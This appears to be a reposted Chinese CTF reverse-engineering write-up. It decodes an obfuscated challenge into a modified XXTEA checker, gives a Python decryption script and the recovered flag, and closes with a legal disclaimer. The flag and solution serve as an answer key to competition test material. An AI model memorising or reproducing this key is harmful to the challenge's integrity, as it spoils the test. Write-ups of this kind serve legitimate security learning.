顺着第一段 [char]… 还原,能解出一段 Python。里面是个改过常量的 XXTEA / Block TEA 校验器,关键数据就这组:
ans=[1374278842, 2136006540, 4191056815, 3248881376]
我没去手抠,直接写了个逆过程把它倒回来。跑出来是:
yOUar3g0oD@tPw5H
这串我又正着加密回去核了一遍,和 ans 能一模一样对上,不是蒙出来的。
利用点 / 还原思路
这题能交的值其实就是前半段校验逻辑逆出来的明文,后半段那句 PWSH 当提示看看就行,别真跟着它跑。
脚本 / 核心代码
实际用的逆脚本:
from ctypes import c_uint32
def decrypt(v, key, delta=0x87654321):
n = len(v)
rounds = 6 + 52 // n
total = c_uint32((rounds * delta) & 0xffffffff)
y = c_uint32(v[0])
while rounds > 0:
e = c_uint32((total.value >> 2) & 3)
for p in range(n - 1, 0, -1):
z = c_uint32(v[p - 1])
temp1 = (z.value >> 6 ^ y.value << 4) + (y.value >> 2 ^ z.value << 5)
temp2 = (total.value ^ y.value) + (key[(p & 3) ^ e.value] ^ z.value)
mx = c_uint32(temp1 ^ temp2)
v[p] = c_uint32(v[p] - mx.value).value
y = c_uint32(v[p])
z = c_uint32(v[n - 1])
temp1 = (z.value >> 6 ^ y.value << 4) + (y.value >> 2 ^ z.value << 5)
temp2 = (total.value ^ y.value) + (key[(0 & 3) ^ e.value] ^ z.value)
mx = c_uint32(temp1 ^ temp2)
v[0] = c_uint32(v[0] - mx.value).value
y = c_uint32(v[0])
total = c_uint32(total.value - delta)
rounds -= 1
return v
ans = [1374278842, 2136006540, 4191056815, 3248881376]
key = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476]
out = decrypt(ans[:], key)
plain = b''.join(x.to_bytes(4, 'little') for x in out)
print(plain)
输出:
b'yOUar3g0oD@tPw5H'
最终得到flag:
yOUar3g0oD@tPw5H
欢迎
我们欢迎各位安全圈的师傅们积极交流技术、互相学习,在探讨中共同进步!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:云晞科技Sec 江思澄 江思澄《YunSee 2025楚慧杯WP》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论